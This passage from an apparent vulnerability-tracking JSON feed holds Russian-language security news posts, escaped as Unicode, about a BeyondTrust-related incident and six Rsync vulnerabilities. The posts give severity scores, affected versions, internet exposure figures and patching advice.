\u044d\u0442\u043e\u043c \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043e\u0442\u043a\u0430\u0437\u0430\u043b\u0441\u044f \u043f\u0440\u0438\u0437\u043d\u0430\u0432\u0430\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044e 0-day, \u043d\u043e \u0442\u0435\u043c \u043d\u0435\u0435 \u043c\u0435\u043d\u0435\u0435 \u043f\u0440\u0438\u043f\u0438\u0441\u0430\u043b \u043e\u0442\u043a\u0440\u044b\u0442\u0438\u0435 Rapid7.\n\nRapid7 \u0442\u0430\u043a\u0436\u0435 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u043c\u043e\u0434\u0443\u043b\u044c Metasploit, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0435 \u0441\u0438\u0441\u0442\u0435\u043c\u044b BeyondTrust \u0438 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0430\u0432\u043a\u0443 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0438.\n\n\u0427\u0442\u043e \u0436\u0435 \u043a\u0430\u0441\u0430\u0435\u0442\u0441\u044f, \u0441\u0430\u043c\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 - \u043f\u043e\u043c\u0438\u043c\u043e \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u043d\u0438\u044f \u0432 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u00ab\u043a\u0440\u0443\u043f\u043d\u043e\u0433\u043e \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u0430 \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438\u00bb, \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439 \u0438 \u043e\u0446\u0435\u043d\u043a\u0438 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0443\u0449\u0435\u0440\u0431\u0430 \u0432\u043b\u0430\u0441\u0442\u0438 \u0421\u0428\u0410 \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0432\u0430\u044e\u0442.\n\n\u0418 \u0432\u0440\u044f\u0434 \u043b\u0438 \u0440\u0430\u0441\u043a\u0440\u043e\u044e\u0442, \u043d\u043e \u0431\u0443\u0434\u0435\u043c \u043f\u043e\u0441\u043c\u043e\u0442\u0440\u0435\u0442\u044c.", "creation_timestamp": "2025-02-14T11:30:06.000000Z"}, {"uuid": "eec5f478-6683-4180-81dd-d3d718d75541", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12086", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u043c \u043a\u043e\u0434\u043e\u043c \u0434\u043b\u044f \u0441\u0438\u043d\u0445\u0440\u043e\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0434\u0430\u043d\u043d\u044b\u0445, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0448\u0438\u0440\u043e\u043a\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 \u0440\u0435\u0437\u0435\u0440\u0432\u043d\u043e\u0433\u043e \u043a\u043e\u043f\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f (Rclone, DeltaCopy, ChronoSync), \u043e\u0431\u0449\u0435\u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f\u0445 \u0434\u043b\u044f \u0440\u0430\u0441\u043f\u0440\u043e\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u043e\u0432, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0432 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 \u043e\u0431\u043b\u0430\u043a\u0430\u043c\u0438 \u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 Rsync \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b Google Cloud \u0438 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u043c\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c\u0438. \u041e\u043d\u0438 \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043e\u0431\u044a\u0435\u0434\u0438\u043d\u0435\u043d\u044b \u0434\u043b\u044f \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u0437\u043b\u043e\u043c\u0430 \u0441\u0438\u0441\u0442\u0435\u043c.\n\n\u0414\u043b\u044f \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u043f\u043e\u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u043b\u0438\u0448\u044c \u0430\u043d\u043e\u043d\u0438\u043c\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435 \u043a \u0441\u0435\u0440\u0432\u0435\u0440\u0443 rsync, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u043a \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e\u043c\u0443 \u0437\u0435\u0440\u043a\u0430\u043b\u0443, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u043c\u0430\u0448\u0438\u043d\u0435, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0437\u0430\u043f\u0443\u0449\u0435\u043d \u0441\u0435\u0440\u0432\u0435\u0440.\n\n\u041a\u0440\u043e\u043c\u0435 \u0442\u043e\u0433\u043e, \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0432\u0437\u044f\u0442\u044c \u043f\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u0441\u0435\u0440\u0432\u0435\u0440 \u0438 \u0447\u0438\u0442\u0430\u0442\u044c/\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u0444\u0430\u0439\u043b\u044b \u043b\u044e\u0431\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043a\u043b\u0438\u0435\u043d\u0442\u0430.\n\n\u041a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u043b\u044e\u0447\u0438 SSH, \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0438\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u044b, \u0430 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0439 \u043a\u043e\u0434 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d \u043f\u0443\u0442\u0435\u043c \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a ~/.bashrc \u0438\u043b\u0438 ~/.popt.\n\n\u0421\u0440\u0435\u0434\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u0445 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432:\n\n- \u041f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 (CVE-2024-12084, CVSS: 9.8): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0439 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0434\u043b\u0438\u043d\u044b \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0432 \u0434\u0435\u043c\u043e\u043d\u0435 Rsync, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0431\u0443\u0444\u0435\u0440\u0430. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u0438 \u043e\u0442 3.2.7 \u0434\u043e < 3.4.0 \u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a RCE.\n\n- \u0423\u0442\u0435\u0447\u043a\u0430 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 (CVE-2024-12085, CVSS: 7.5): \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u0443\u0442\u0435\u0447\u043a\u0443 \u043d\u0435\u0438\u043d\u0438\u0446\u0438\u0430\u043b\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0441\u0442\u0435\u043a\u0430 \u043f\u0440\u0438 \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u044b\u0445 \u0441\u0443\u043c\u043c \u0444\u0430\u0439\u043b\u043e\u0432. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u043c\u0430\u043d\u0438\u043f\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u043b\u0438\u043d\u043e\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b, \u0447\u0442\u043e\u0431\u044b \u0435\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- Server Leaks Arbitrary Client Files (CVE-2024-12086, CVSS: 6.1): \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u043e\u043c\u0443 \u0441\u0435\u0440\u0432\u0435\u0440\u0443 \u0441\u0447\u0438\u0442\u044b\u0432\u0430\u0442\u044c \u0438 \u0432\u043e\u0441\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u0441\u043a\u0438\u0435 \u0444\u0430\u0439\u043b\u044b \u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044f \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u043d\u044b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u0441\u0443\u043c\u043c\u044b \u0432\u043e \u0432\u0440\u0435\u043c\u044f \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0444\u0430\u0439\u043b\u043e\u0432. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 (CVE-2024-12087, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0430\u0434\u0435\u043a\u0432\u0430\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0441\u044b\u043b\u043a\u0438 \u043f\u0440\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --inc-recursive. \u0412\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0435 \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 \u043d\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0435. \u0412\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0 \u0443\u044f\u0437\u0432\u0438\u043c\u044b.\n\n- \u041e\u0431\u0445\u043e\u0434 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 --safe-links (CVE-2024-12088, CVSS: 6.5): \u0432\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442, \u043a\u043e\u0433\u0434\u0430 Rsync \u043d\u0435 \u043c\u043e\u0436\u0435\u0442 \u0434\u043e\u043b\u0436\u043d\u044b\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a, \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0449\u0438\u0445 \u0434\u0440\u0443\u0433\u0438\u0435 \u0441\u0441\u044b\u043b\u043a\u0438. \u042d\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u043e\u0431\u0445\u043e\u0434\u0443 \u043f\u0443\u0442\u0438 \u0438 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0444\u0430\u0439\u043b\u043e\u0432 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u0443\u043a\u0430\u0437\u0430\u043d\u043d\u044b\u0445 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432. \u0417\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u044e\u0442\u0441\u044f \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\n- \u0421\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0433\u043e\u043d\u043a\u0438 (CVE-2024-12747, CVSS: 5.6): \u043e\u0431\u0443\u0441\u043b\u043e\u0432\u043b\u0435\u043d\u0430 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435\u043c \u0433\u043e\u043d\u043a\u0438 \u043f\u0440\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u0435 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0441\u0441\u044b\u043b\u043e\u043a. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u043c \u0444\u0430\u0439\u043b\u0430\u043c \u0438 \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438. \u0423\u044f\u0437\u0432\u0438\u043c\u044b \u0432\u0441\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u043d\u0438\u0436\u0435 3.4.0.\n\nCERT/C \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0441 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435\u043c \u043e\u0431 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u0445 Rsync, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 Red Hat, Arch, Gentoo, Ubuntu NixOS, AlmaLinux OS Foundation \u0438 Triton Data Center \u043a\u0430\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435.\n\n\u041e\u0434\u043d\u0430\u043a\u043e \u043c\u043d\u043e\u0433\u0438\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u0440\u043e\u0435\u043a\u0442\u044b \u0438 \u043f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435 \u043d\u0438\u043a\u0430\u043a \u043e\u0442\u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043b\u0438.\n\n\u0412 \u0441\u0432\u043e\u0435\u043c \u0431\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u0435 \u043f\u043e CVE-2024-12084 RedHat \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0430, \u0447\u0442\u043e \u043f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043c\u0435\u0440 \u043f\u043e \u0441\u043c\u044f\u0433\u0447\u0435\u043d\u0438\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0435 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u0443\u0435\u0442, \u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043c\u043e\u0436\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0432 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 Rsync \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e.\n\n\u0412 \u043f\u0440\u043e\u0442\u0438\u0432\u043d\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u043f\u043e\u043d\u0430\u0434\u043e\u0431\u044f\u0442\u0441\u044f \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0435 \u0443\u0447\u0435\u0442\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0434\u043b\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 \u0441 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439.\n\n\u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e Shodan, \u0432 \u0441\u0435\u0442\u0438 \u0434\u0435\u0442\u0435\u043a\u0442\u0438\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 660 000 IP-\u0430\u0434\u0440\u0435\u0441\u043e\u0432 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u043c\u0438 Rsync. \u0411\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e - \u0432 \u041a\u0438\u0442\u0430\u0435 (521 000), \u0434\u0430\u043b\u0435\u0435 \u0441\u043b\u0435\u0434\u0443\u044e\u0442 \u0421\u0428\u0410, \u0413\u043e\u043d\u043a\u043e\u043d\u0433, \u041a\u043e\u0440\u0435\u044f, \u0420\u043e\u0441\u0441\u0438\u044f \u0438 \u0413\u0435\u0440\u043c\u0430\u043d\u0438\u044f, \u043d\u043e \u0438\u0445 \u0447\u0438\u0441\u043b\u043e \u0437\u043d\u0430\u0447\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043c\u0435\u043d\u044c\u0448\u0435.\n\n\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0445 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync 306 517 \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 TCP-\u043f\u043e\u0440\u0442\u0435 \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e 873, \u0430 21 239 \u043f\u0440\u043e\u0441\u043b\u0443\u0448\u0438\u0432\u0430\u044e\u0442 \u043f\u043e\u0440\u0442 8873, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043e\u0431\u044b\u0447\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0434\u043b\u044f Rsync \u0447\u0435\u0440\u0435\u0437 \u0442\u0443\u043d\u043d\u0435\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 SSH.\n\n\u041d\u0435\u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0442\u043e, \u0447\u0442\u043e \u043d\u0435\u044f\u0441\u043d\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u044b \u043b\u0438 \u043e\u043d\u0438 \u043d\u0435\u0434\u0430\u0432\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u044b\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f\u00a0\u00a0\u043a\u0430\u043a \u043c\u043e\u0436\u043d\u043e \u0441\u043a\u043e\u0440\u0435\u0435\u00a0\u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 3.4.0 \u0438\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u0442\u044c \u0434\u0435\u043c\u043e\u043d \u043d\u0430 \u0437\u0430\u043f\u0440\u043e\u0441 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0437\u0430\u0431\u043b\u043e\u043a\u0438\u0440\u043e\u0432\u0430\u0442\u044c TCP-\u043f\u043e\u0440\u0442 873 \u043f\u043e \u043f\u0435\u0440\u0438\u043c\u0435\u0442\u0440\u0443, \u0447\u0442\u043e\u0431\u044b \u0441\u0435\u0440\u0432\u0435\u0440\u044b \u043d\u0435 \u0431\u044b\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e.", "creation_timestamp": "2025-01-16T12:11:14.000000Z"}, {"uuid": "dfffbd6c-5e3f-4391-87e1-59cbe070aed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12087", "type": "seen", "source": "https://t.me/true_secator/6625", "content": "\u0411\u043e\u043b\u0435\u0435 660 000 \u0441\u0435\u0440\u0432\u0435\u0440\u043e\u0432 Rsync \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b \u0434\u043b\u044f \u0448\u0435\u0441\u0442\u0438 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0430\u0445.\n\nRsync - \u044d\u0442\u043e \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u043c 